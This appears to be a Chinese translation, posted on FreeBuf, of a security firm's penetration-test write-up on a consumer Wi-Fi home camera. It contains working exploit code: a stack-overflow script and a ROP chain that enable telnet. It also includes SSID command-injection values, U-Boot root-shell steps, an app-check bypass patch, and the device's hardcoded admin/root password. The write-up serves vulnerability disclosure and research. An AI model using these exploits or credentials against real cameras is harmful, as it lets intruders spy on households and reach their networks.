freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

IoT:对联网摄像头的渗透测试
2022-03-15 17:22:42
所属地 北京

译者注:直接英译中后语句太过拗口,在不改变原意的情况下做了些许调整
原文:IoT: Pentest of a Connected Camera

[TOC]

IoT:对联网摄像头的渗透测试

01-描述

在我们的研发过程中,我们对联网的摄像头进行了渗透测试。

这种摄像机主要用于终端用户远程监控他们的房子。

之所以选择这种型号,是因为它符合个人使用的经典客户标准:

  • 具备夜视功能的高清摄像头

  • 不是很昂贵,价格低于100美元

  • 可以在多家DIY商店买到

在本文中,我们将给出测试结果,展示几种远程控制摄像机、利用如下漏洞(包括0-day漏洞)的方法:

  • 1.1. web程序的栈缓冲区溢出

  • 1.2 通过串口、uboot程序修改而获取到root shell

  • 1.3 通过接入点SSID内的命令注入漏洞实现远程代码执行

还将重点介绍在研究过程中发现的一些不安全的点

  • 1.4 凭证硬编码

  • 1.5 源代码中API密钥的明文存储(Facebook、Dropbox等)

  • 1.6 缺乏安全传输层

02-拆盒及安装

盒子里只有摄像机与usb线,没有任何SD卡

img

阅读手册后,我们使用从Android Pla-y Store下载的专用app来配置摄像头。

设置网络时,由于没有与摄像机直接交互,故有一点麻烦。

首先要处理的是Wi-Fi网络、移动操作系统与厂商app的兼容性。

如下是具体步骤:

  • 当摄像头第一次开机时,它将会暴露一个默认的Wi-Fi SSID(在这称为Cam-AP)

  • 一旦连接到家庭的WiFi网络(手机已连接上的),移动app将会收集连接参数;

  • 然后,移动APP断开与家庭WiFI的连接,并开始查找名为“Cam-AP”的摄像头的SSID;

  • 一旦发现,APP将连接到摄像头的SSID,并将家庭的WiFi配置推送到摄像头;

  • 最终,摄像头和app都连接到家庭的WiFi SSID

  • 移动APP将请求一个新密码来更新默认密码,在这我们按下“admin123”,但在这,第一次发现漏洞,如果在设置新密码之前关闭了APP,那么默认的“admin”密码将永远不会更改,摄像机将使用弱密码的配置

然后,我们可以从手机上远程访问摄像头,而无需连接到无线网络,并且摄像头可以连接到互联网(云端基础设施类型)。

03-PCB印刷电路板分析

摄像头基于Goke GK7102 SoC(片上系统),包括多个计算机组件,如CPU、内存和存储器,全部集成在一个芯片上。

它主要用于高清IP摄像头,集成了ARM处理器,并且支持一些加密引擎(AES、DES、3DES)。

此外,还提供了一个UART串口(source)。

以下是摄像头PCB一侧的概览:

img

另一侧集成了CMOS传感器、MT7601 Wi-Fi模块和音频放大器:

img

04-漏洞分析

本节将介绍几个可能严重危害摄像头的漏洞。

4.1-web程序的栈溢出

摄像头安装完成,将其连接到无线网络并开始扫描。找到摄像头IP地址后,使用nmap扫描其暴露的服务:

[mickael@m ~]$ nmap 172.20.10.10 -n -Pn -p-

Nmap scan report for 172.20.10.10

PORT     STATE SERVICE    VERSION
80/tcp   open  http       Mongoose httpd
554/tcp  open  rtsp
1935/tcp open  tcpwrapped
8080/tcp open  soap       gSOAP 2.8
MAC Address: 08:EA:40:9C:69:92 (Shenzhen Bilian Electronicltd)

令人吃惊的是,telnet服务没有被监听,因为大多数这种类型的摄像机都会如此。

我们想要分析web程序,但需要凭据才能访问它(HTTP基本认证):

img

我们尝试了配置过程中设置的admin:admin123,这似乎有效。但是,返回了一个空白页面……

然后,我们使用wfuzz工具对web程序进行模糊测试,来查找一些隐藏目录:

[mickael@m ]$ wfuzz --sc 200,401 -w directory-list-2.3-small.txt http://172.20.10.10/FUZZ
Target: http://172.20.10.10/FUZZ
Total requests: 87652
==================================================================
ID  Response   Lines      Word         Chars          Payload
==================================================================

000001:  C=401     13 L       35 W      436 Ch    "#"
000627:  C=401     13 L       35 W      436 Ch    "log"
004362:  C=401     13 L       35 W      436 Ch    "sd"
006322:  C=200      2 L        2 W       40 Ch    "iphone"
025276:  C=404      1 L        7 W       35 Ch    "rtdb"

目录遍历漏洞暴露了日志数据,其中包含大量敏感信息(认证后的访问):

img

4.1.1-有趣的目录内容

  • sd: 摄像记录

  • ipc_server: 二进制应用程序,可能是web服务器

  • syslog.txt: 应用程序日志

  • wifi.conf: 移动app注入的无线Wi-Fi配置,包括SSID和密码。

4.1.2-HTTP 基础认证中的缓冲区溢出

清除浏览器中的缓存和cookie后,我们尝试重新登录web程序,但这次使用了过长的用户名和密码(超过150个字符):

curl -u $(python -c "print 'a'*150"):$(python -c "print 'a'*150") http://127.0.0.1:1234

此时,摄像机播放了一声“bip”并立即重新启动。我们再次尝试使用另一个随机字符串,同样的事情发生了。

我们立即想到了一个可能的未处理异常,例如溢出,因此我们开始逆向在/log目录中找到的ipc_server二进制文件。它正好是负责管理摄像机所有服务的二进制文件,包括发生溢出的web界面。

在IDA Pro观察一个有趣函数的反汇编代码,该函数将摄像头密码重置为admin

img

首先我们选择盲测的方法,,开发一个简单的Python脚本,内含一个循环,不断添加空字节作为前缀,与该重置函数的地址结合。

我们的目标是溢出目的缓冲区,劫持程序执行流到该函数中,将密码重置为admin。这是一种简单的方法,可用来确认攻击是否有效。

因此在实践中,我们的脚本发送一个HTTP身份验证,其payload如下:

# First loop:
NULLBYTE + RESET_PWD_ADDRESS

# Second loop:
(NULLBYTE * 2) + RESET_PWD_ADDRESS

# Third loop:
(NULLBYTE * 3) + RESET_PWD_ADDRESS

由于在某些尝试之后会发生崩溃,我们的攻击代码应该等待足够长的时间,以便设备能够自动重启。脚本如下所示:

from requests import get
from struct import pack
from time import sleep

FORBIDDEN_URL = "http://172.20.10.10/log"
NULL_BYTE = "\x00"

RESET_PWD_ADDRESS = pack('<I', 0x7BCF4)

def main():
    is_up = 0
    for i in range(139, 250):
        while is_up == 0:
            is_up = check_connectivity()
        print "=> Camera is UP, exploiting with (%s NULL_BYTE + RESET_PWD_ADDRESS)" % i
        sleep(15) #prevent sending another increase request while the camera is rebooting
        do_exploit(i)
        is_up = 0

def check_connectivity():
    try:
        r = get(FORBIDDEN_URL, auth=('admin','admin'), timeout=5)
        if r.status_code == 401:
            return 1
        elif r.status_code == 200:
            print "[*] /!\ Successfull exploit, connect to %s using admin:admin" % FORBIDDEN_URL
            exit(0)
        else:
            return 0
    except:
        print "[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec"
        sleep(60)
        return 0


def do_exploit(i):
    payload = i * NULL_BYTE + RESET_PWD_ADDRESS
    try:
        r = get(FORBIDDEN_URL, auth=(payload,''), timeout=5)
        exit(0)
    except:
        pass

if __name__ == '__main__':
    main()

从第139次尝试开始,摄像机开始崩溃并重启。

更好的是,在第140次尝试中,我们得到了更有趣的东西:

=> Camera is UP, exploiting with (130 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (131 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (132 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (133 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (134 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (135 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (136 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (137 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (138 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (139 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (140 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
[*] /!\ Successfull exploit, connect to http://172.20.10.10/log/ using admin:admin

通过我们的攻击,可以成功更新密码。

4.1.3-获取远程shell

经过进一步研究,我们发现一些方法,可以通过启用telnetd服务,来获取一个网络shell

方法1

NX保护已启用,我们可以通过带有peda插件的gdb来对二进制进行检查。

$ gdb ipc_server
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

由于ASLR和NX保护措施的存在,我们将构建ROP攻击,这是绕过此类保护,来利用溢出的有效方法。

为了做到这一点,我们开始在 ipc_server二进制文件中寻找有趣的gadgets 。我们发现了一个可以调用命令的 system函数:

img

因此,我们更新了最初的python脚本,添加了一些ARM汇编指令,包含了telnetd字符串地址(位于二进制中.text区段)以及system()函数地址。

我们也在二进制文件中的.text区段中发现了telnetd字符串。

img

因此,将这些部分组合在一起,在利用代码中得到了如下ARM指令,将telnetd字符串布置在栈上,并调用system()函数

from requests import get

FORBIDDEN_URL = "http://127.0.0.1/log"

def exploit():
    rop = "\xa4\xbb\x0b\x00"  # pop {r0, pc}
    rop += "\x9c\xea\x0b\x00" # telnetd str addr
    rop += "\x98\x77\x02\x00" # system addr
    payload = 140 * "\x00" + rop
    try:
        r = get(FORBIDDEN_URL, auth=(payload,''), timeout=2)
        print r.text
        exit(0)
    except:
        pass

if __name__ == '__main__':
    exploit()

如我们所期待的那样,攻击有效,telnetd服务成功被启用

[mickael@m ~]$ nmap 172.20.10.10 -n -Pn -p-

Nmap scan report for 172.20.10.10

PORT     STATE SERVICE
23/tcp   open  telnet
80/tcp   open  http
554/tcp  open  rtsp
1935/tcp open  tcpwrapped
8080/tcp open  soap
MAC Address: 08:EA:40:9C:69:92 (Shenzhen Bilian Electronicltd)
方法2

ipc_server二进制内部,我们发现了web页面backup.cgi,可备份配置数据到压缩包,提取出来后可见这些配置文件。

[mickael@m mnt]$ tree
.
└── mtd
    └── ipc
        └── conf
            ├── config_3thddns.ini
            ├── config_action.ini
            ├── config_alarm.ini
            ├── config_alarm_token.ini
            ├── config_com485.ini
            ├── config_cover.ini
            ├── config_custom.ini
            ├── config_debug.ini
            ├── config_devices.ini
            ├── config_encode.ini
            ├── config_image.ini
            ├── config_md.ini
            ├── config_ntp.ini
            ├── config_osd.ini
            ├── config_ptz.ini
            ├── config_recsnap.ini
            ├── config_run3g.ini
            ├── config_schedule.ini
            ├── config_sysinfo.ini
            ├── config_timer.ini
            ├── config_user.ini
            ├── config_videoex.ini
            ├── ipcam_upnp.xml
            ├── TZ
            ├── udhcpc
            │   ├── default.bound
            │   ├── default.deconfig
            │   ├── default.leasefail
            │   ├── default.renew
            │   └── default.script
            ├── udhcps
            │   └── udhcpd.conf
            └── wifi.conf

其中有一个config_debug.ini文件,内含调试模式的信息

[debug]
denable = "0"
dserver = "192.168.1.88 "
dport   = "12990"
[telnet]
tenable = "0"

根据 documentation对其进行了修改,启用telnetd服务后,重建config_file压缩包

post请求推送压缩包到restore函数

html
<form name="test" method="post" enctype="multipart/form-data" action="http://172.20.10.10/restore.cgi">
<input type="file" name="setting_file">
<input type="submit" value="restore">
</form>

然后,摄影机重启后,telnetd服务并没有启用,有地方出错了…,确实,我们在备份的配置文件后面发现了特定的字符串。

img

请注意base64编码的字符串。它可以被解码为“VF”和“HX”字符。我们假设“HX”对应于摄像机系列,“VF”表示“验证”:

$ echo "ARAAAGh4VkZIWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | base64 -d
hxVFHX

我们使用一个简单的python脚本,将此“secure”块添加到修改后的的 config_file压缩包中。

#!/usr/bin/env python

INITIAL_FILE = "initial_config_backup.bin"
PATCHED_FILE = "final_config_backup.bin"

def main():
    with open(INITIAL_FILE, "r") as f:
        initial_file_content = f.read()
    to_patch = initial_file_content[-262:]
    with open(PATCHED_FILE, "r") as f:
        patched_file_content = f.read()
    patched_file_content = (patched_file_content[:-262] + to_patch)
    with open(PATCHED_FILE, 'wb') as f :
        f.write(patched_file_content)


if __name__ == '__main__':
    main()

通过新生成的备份文件压缩包,我们成功地恢复了配置,并再次启用了telnet服务。

4.2-凭证获取

我们执行了一个简单的暴力破解攻击,结果显示adminroot密码均为2601hx

此外,还是超级用户,拥有设备操作系统的所有权限:

[mickael@m ~]$ telnet 172.20.10.10
Trying 172.20.10.10...
Connected to 172.20.10.10.
Escape character is '^]'.

IPCamera login: admin
Password:
$ su
Password:
$ cat /etc/shadow
root:RdQhwfYI/a1kQ:0:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
ftp:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
default::10933:0:99999:7:::
admin:RdQhwfYI/a1kQ:0:0:99999:7:::

4.3-深入栈溢出漏洞

我们希望更好地了解该漏洞。

可能利用栈溢出漏洞来获取远程反向shell,但肯定不会使用此处描述的方法。

为了构建环境,我们使用QEMU和带有gdb的ARM树莓派来调试程序。

我们必须使用hexedit工具,手动修改二进制程序中20多条ARM指令,因为在虚拟化环境中运行,所以需要绕过一些硬件检查和异常。

一开始,发送 140个 'A'字符和 BCDE字符串作为 HTTP的基础认证,不出所料,$pc栈指针寄存器 (相当于ARM-x86中的$eip) 成功被覆盖。

结果,程序在gdb中崩溃了,信息如下:

0x45444342 in ?? ()

查看函数回调,找到了崩溃发生的函数。

gdb$ backtrace
#0  0x45444342 in ?? ()
#1  0x00042ac0 in HI_INI_User_Auth ()
#2  0x00000000 in ?? ()

查看 $pc寄存器,确认已经被溢出

gdb$ frame 0
#0  0x45444342 in ?? ()
gdb$ i r
r0             0xffffffff   0xffffffff
r1             0xb4c12b79   0xb4c12b79
r2             0x67 0x67
r3             0x0  0x0
r4             0x41414141   0x41414141
r5             0x41414141   0x41414141
r6             0x41414141   0x41414141
r7             0x1a6634 0x1a6634
r8             0x1a6664 0x1a6664
r9             0x1a6630 0x1a6630
r10            0x1a4620 0x1a4620
r11            0x1a45b0 0x1a45b0
r12            0xe0478  0xe0478
sp             0xb4c12c60   0xb4c12c60
lr             0x42ac0  0x42ac0
pc             0x45444342   0x45444342 <<<<<<<<<<<<<<<<<<<<<<<<<
cpsr           0x60000010   0x60000010

此外,payload也全部写入栈

gdb$ x/-50x $sp
0xb4c12b98: 0x00000000  0x00000000  0x00000000  0x00000000
0xb4c12ba8: 0x00000000  0x00000000  0x00000000  0x00000000
0xb4c12bb8: 0x001a68dc  0x00104810  0x001a68dc  0x001a68d8
0xb4c12bc8: 0x001a6634  0x00042c54  0x41414141  0x41414141
0xb4c12bd8: 0x41414141  0x41414141  0x41414141  0x41414141
0xb4c12be8: 0x41414141  0x41414141  0x41414141  0x41414141
0xb4c12bf8: 0x41414141  0x41414141  0x41414141  0x41414141
0xb4c12c08: 0x41414141  0x41414141  0x41414141  0x41414141
0xb4c12c18: 0x41414141  0x41414141  0x41414141  0x41414141
0xb4c12c28: 0x41414141  0x41414141  0x41414141  0x41414141
0xb4c12c38: 0x41414141  0x41414141  0x41414141  0x41414141
0xb4c12c48: 0x41414141  0x41414141  0x41414141  0x41414141
0xb4c12c58: 0x41414141  0x45444342

随后发送大量 'B'字符, 发现 $lr寄存器(用于保存函数调用的返回地址)指向 HI_INI_HTTP_Pla-IN_Auth_CALLBACK函数

因此,问题可能发生在 HI_INI_User_Auth函数之前。

使用ida pro,查看函数 HI_INI_User_Auth的交叉引用,发现HI_INI_HTTP_Pla-IN_Auth_CALLBACK函数:

img

HI_INI_HTTP_BASIC_Auth_CALLBACK函数用于解码base64形式的HTTP realm,并将结果传参到HI_INI_HTTP_Pla-IN_Auth_CALLBACK` 函数中。

img

由上图可见,buffer变量有128字节的大小,作为参数传到 libs_base64decode函数中。

当超过128字节时,由于缺乏内存分配控制,此函数中会发生内存溢出。

用带有peda插件的gdb设置许多软件断点后,深入libs_base64decode函数的调用,更准确的观察其参数。

img

进入函数后,逐步执行每条指令,最终重现此问题。

由于没有长度的控制,在每一轮base64解码后, buffer变量中数据越来越多。

为了验证这点,在base64解码循环的结尾(0x000254c4)放置断点,gdb命令触发断点后,分析其栈空间及寄存器。

peda-arm > b*0x000254c4
Breakpoint 7 at 0x254c4
peda-arm > commands 7
Type commands for breakpoint(s) 7, one per line.
End with a line saying just "end".
>x/100x $sp
>x/s $r1
>x/s $r2
>x/s $r3
>continue
>end

img

在多轮循环之后,我们可以看到,由于没有控制buffer变量的大小(在这时186字节,大于一开始分配的128字节),在base64解码函数中发生了溢出。

img

用前面同样的断点及一些指令,在循环中,我们只打印出$r2寄存器 (包含base64解码后的值) during the loop.

我们能够确认,在初始分配的128个字节之后,此函数开始覆盖栈中其它现有的数据:

peda-arm > b *0x000254c4
Breakpoint 1 at 0x254c4
peda-arm > commands 1
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>x/s $r2
>continue
end
peda-arm > start

img

另一个角度,显示栈指针后的75字节,可用如下命令再次展示正被覆盖的其它数据:

peda-arm > b *0x000254c4
Breakpoint 1 at 0x254c4
peda-arm > commands 1
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>x/75x $sp
>continue
end
peda-arm > start

在此可见有许多十六进制的“B”字符,因此每一轮循环都添加了“42”:

img

buffer 变量最终传参到 HI_INI_HTTP_Pla-IN_Auth_CALLBACK函数中,之后产生bug

img

4.4-通过串口及boot修改获取root shell

拆开设备后,我们发现了四个接口(如PCB分析部分所述)。为了确认它是UART串口,使用万用表(通电后)来确定哪个接口是GND、VCC、TX和RX:

  • 3.3v 电压的是VCC

  • 低电压的是TX

  • RX大约有3v,在开机后电压会有变化

  • 在电阻模式下,GND的电阻为0欧姆。

然后,使用shikra USB工具,按照 xipiter的模式连接摄像头:

img

使用 baudrate.py脚本(https://github.com/devttys0/baudrate)识别波特率后,再通过Shikra线,使用screen(或者minitermminicom)连接到摄像机。

img

如下是重启设备后,系统引导过程中的部分日志:

3
2
1
0
[PROCESS_SEPARATORS] run sfboot
[PROCESS_SEPARATORS] setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=linuxrc ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm
SF: Detected W25Q256FV with page size 256 B, sector size 64 KiB, total size 32 MiB
put param to memory
mem size (41)
bsb size (2)

the kernel image is zImage or Image
entry = 0xc1000000
## Transferring control to Linux (at address c1000000)...

Starting kernel ...

machid = 3988 r2 = 0xc0000100
Uncompressing Linux... done, booting the kernel.
[    0.000000] Booting Linux on physical CPU 0
[    0.000000] Linux version 3.4.43-gk (root@localhost.localdomain) (gcc version 4.6.1 (crosstool-NG 1.18.0) ) #14 PREEMPT Fri Dec 9 14:49:48 CST 2016
[    0.000000] CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv7), cr=00c5387d

连接摄像头需要登录验证(如前所述为admin:2601hx)。因此,在相机上获取到root shell。

注意到在启动过程中的如下数字顺序

3
2
1
0

实际上,在一个计时器内,按下任意键可以停止boot过程

3
2
1
0
GK7102 #
GK7102 # help
[PROCESS_SEPARATORS] help
?       - alias for 'help'
base    - print or set address offset
bdinfo  - print Board Info structure
boot    - boot default, i.e., run 'bootcmd'
bootd   - boot default, i.e., run 'bootcmd'
bootelf - Boot from an ELF image in memory
bootm   - boot application image from memory
bootp   - boot image via network using BOOTP/TFTP protocol
bootvx  - Boot vxWorks from an ELF image
bootz   - boot Linux zImage image from memory
cmp     - memory compare
coninfo - print console devices and information
cp      - memory copy
crc32   - checksum calculation
dhcp    - boot image via network using DHCP/TFTP protocol
echo    - echo args to console
editenv - edit environment variable
env     - environment handling commands
erase   - erase FLASH memory
flinfo  - print FLASH memory information
go      - start application at address 'addr'
help    - print command description/usage
iminfo  - print header information for application image
imls    - list all images found in flash
imxtract- extract a part of a multi-image
itest   - return true/false on integer compare
loadb   - load binary file over serial line (kermit mode)
loads   - load S-Record file over serial line
loady   - load binary file over serial line (ymodem mode)
loop    - infinite loop on address range
md      - memory disPla-y
mm      - memory modify (auto-incrementing address)
mtest   - simple RAM read/write test
mw      - memory write (fill)
nfs     - boot image via network using NFS protocol
nm      - memory modify (constant address)
ping    - send ICMP ECHO_REQUEST to network host
printenv- print environment variables
protect - enable or disable FLASH write protection
reset   - Perform RESET of the CPU
run     - run commands in an environment variable
saveenv - save environment variables to persistent storage
setenv  - set environment variables
sf      - SPI flash sub-system
sleep   - delay execution for some time
snand   - SpiNAND sub-system
source  - run script from memory
tftpboot- boot image via network using TFTP protocol
version - print monitor, compiler and linker version

之后,使用 printenv命令, 在名为 sfboot的环境变量中可见boot参数

GK7102 # printenv sfboot
[PROCESS_SEPARATORS] printenv sfboot
sfboot=setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=linuxrc ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm

可以很容易的修改 init值,将其从 linuxrc改为 /bin/sh:

GK7102 # setenv sfboot 'setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=/bin/sh ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm'

在更改后,使用如下命令启动相机

GK7102 # run sfboot

当设备启动完成后,可以获取到一个shell

~ #
~ # id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
~ # cat /etc/shadow
root:RdQhwfYI/a1kQ:0:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
ftp:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
default::10933:0:99999:7:::
admin:RdQhwfYI/a1kQ:0:0:99999:7:::

4.5-终端SSID中命令注入导致的RCE

我们快速分析了摄像机中一些脚本源码,找到了一个用于配置无线网络的脚本。

如下是一段有意思的片段:

loadwificonf()
{
. $TMP_PATH/twifi.conf
      iwpriv $NETDEV set AuthMode=$WifiMode
      iwpriv $NETDEV set NetworkType=Infra
      iwpriv $NETDEV set EncrypType=$WifiEnc
      if [ $WifiEnc != "NONE" ]
      then
              if [ $WifiEnc == "WEP" ]
              then
                      iwpriv $NETDEV set DefaultKeyID=1
                      iwpriv $NETDEV set Key1="$WifiKey"
              else
                      iwpriv $NETDEV set WPAPSK="$WifiKey"
              fi
      fi
      iwpriv $NETDEV set SSID="$WifiSsid"
}

最后一行容易遭受SSID变量的代码注入

为了利用此漏洞,我们将SSID配置为:

  • AP"|/usr/sbin/touch /tmp/sysdream"

  • AP"|/sbin/telnetd"

之后,我们尝试使用此Wi-Fi接入点配置摄像头,但app禁止在SSID中使用特殊字符。

img

为了绕过此限制,我们决定patch此app:

  • 使用工具apktool(https://ibotpeaches.github.io/Apktool/), 将apk解包

  • 使用工具dex2jar(https://github.com/pxb1988/dex2jar), 将dex文件转为标准的class文件

然后使用工具 jd-guitool(https://github.com/java-decompiler/jd-gui), 检查源代码,来找到限制的检查函数

.method public isSupportedSsid()Z
    .locals 3
    .prologue
    const/4 v1, 0x0

    .line 249
    invoke-virtual {p0}, Lcom/tws/common/bean/ConnectionState;->getSsid()Ljava/lang/String;
    move-result-object v2

    if-nez v2, :cond_1
    .line 253
    :cond_0
    :goto_0
    return v1

    .line 252
    :cond_1
    invoke-virtual {p0}, Lcom/tws/common/bean/ConnectionState;->getSsid()Ljava/lang/String;
    move-result-object v2
    invoke-virtual {p0, v2}, Lcom/tws/common/bean/ConnectionState;->getNotSupportedChar(Ljava/lang/String;)Ljava/lang/String;
    move-result-object v0

    .line 253
    .local v0, "unSupportedChars":Ljava/lang/String;
    invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
    move-result-object v2
    invoke-virtual {v2}, Ljava/lang/String;->length()I
    move-result v2

    if-nez v2, :cond_0
    const/4 v1, 0x1
    goto :goto_0
.end method

如果app收到带有特殊字符的SSID,将返回 false,故修改它返回true即可绕过此限制。

对最初的部分进行了更改:

.line 253
    :cond_0
    :goto_0
    return v1

修补的部分是:

.line 253
    :cond_0
    :goto_0
    const/4 v1, 0x1
    return v1

使用工具 apktool重打包程序, 使用Oracle 的 jarsigner对其进行签名,之后从手机app中重新启动配置过程。

这一次,注入的特殊字符被接受,设备执行了payload。可以启用telnetd服务或创建一个简单文件来确认该漏洞。

4.6-凭证硬编码

如前面所述,有两个硬编码的系统凭证是相同的(密码重用漏洞)。实际上,通过对telnetd服务进行爆破,可以获取到账号admin和root的密码均为2601hx。如下是“/etc/shadow”的文件内容,可以看到相同的DES哈希密码:

$ cat /etc/shadow
root:RdQhwfYI/a1kQ:0:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
ftp:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
default::10933:0:99999:7:::
admin:RdQhwfYI/a1kQ:0:0:99999:7:::

我们也验证了,用如下命令使用DES算法可生成 2601hx的哈希值,其中盐值为RdQhwfYI

[mickael@m ]$ makepasswd -e des -s RdQhwfYI -p 2601hx
2601hx   RdQhwfYI/a1kQ

4.7-明文存储的API Key

阅读安装手册后,我们在Axxxxxx程序的源代码中识别了多个敏感的API密钥。

首先,我们从Google Pla-y下载这个应用程序。

然后,我们使用一部root过的android手机,将apk复制到测试机中:

$ adb pull /data/app/com.tws.aviwatch/base.apk

因为APK只不过是ZIP文件,所以将其解压缩。

在asset 文件夹中,我们找到了一个名为ShareSDK.xml的文件,对其进行grep后可获取到密钥

$ egrep -i 'key|secret' -B 4 ShareSDK.xml | egrep -vi 'sortid|id'
<LinkedIn
        ApiKey="ejo5ib******"
        SecretKey="cC7B2jpx********"
--
     <FourSquare
        ClientSecret="3XHQNSMMHIFBYOLWEPONNV4DOTCDBQH0****************"
--

     <Flickr
        ApiKey="33d833ee6b6fca49****************"
        ApiSecret="3a2c5b42********"
--

    <Tumblr
        OAuthConsumerKey="2QUXqO9fcgGdtGG1FcvML6ZunIQzAEL8xY****************"
        SecretKey="3Rt0sPFj7u2g39mEVB3IBpOzKnM3JnTtxX****************"
--

    <Dropbox
        AppKey="i5vw2me********"
        AppSecret="3i9xifs********"
--
    <Instagram
        ClientSecret="1b2e82f110264869****************"

4.8-缺乏安全传输层

在手机和摄像头的连接中截获网络流量后,我们发现数据没有被加密。

事实上,通信数据(包括密码)是通过UDP协议以明文形式发送的。在初始设置过程中,Android APP要求设置一个新密码,该密码在发送之前用base64编码:

当APP询问新密码时,可以立即关闭app,因此密码保持不变(admin)。为了测试相机的合法用户,我们重新配置密码为admin123

img

[mickael@m ~]$ echo -n "YWRtaW4xMjMh" | base64 -d
admin123![mickael@m ~]$

05-结论

通过分析,我们发现了几个漏洞(主要由于不安全的开发方法以及缺乏系统和网络层面的安全加固),这些漏洞将会使那些连接互联网的摄像头遭受远程攻击

如果攻击者能够发现并利用这些漏洞,他不仅能够监视用户、更改视频流,而且也可以访问客户的内部专用网络并对其造成损害。此外,我们在互联网上发现许多摄像头运行着同一个易受攻击的应用程序 ipc_server

众所周知,许多物联网设备被迅速推向市场,但忽视了对安全的最佳实践。

除此之外,由于第三方的安全性,供应链的问题也随之产生。当产品由十几个制造商的硬件组件、固件和硬件库组成时,供应商应该如何控制安全性和管理事件报告呢?在这个分散的环境中,这根本是不可能的。

本文主要证明了被IoT设备不安全使用的风险,而这些设备没有采取任何安全措施

希望你喜欢本文。

06-Credits

  • Mickael KARATEKIN <m.karatekin -at- sysdream.com>

07-致谢

非常感谢我在Sysdream的所有同事,特别是:

  • Jean-Christophe Baptiste;

  • Nicolas Chatelain;

  • Pierre Yves Maes;

  • Gaël Tulger.

# 溢出漏洞 # 摄像头安全 # 翻译
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录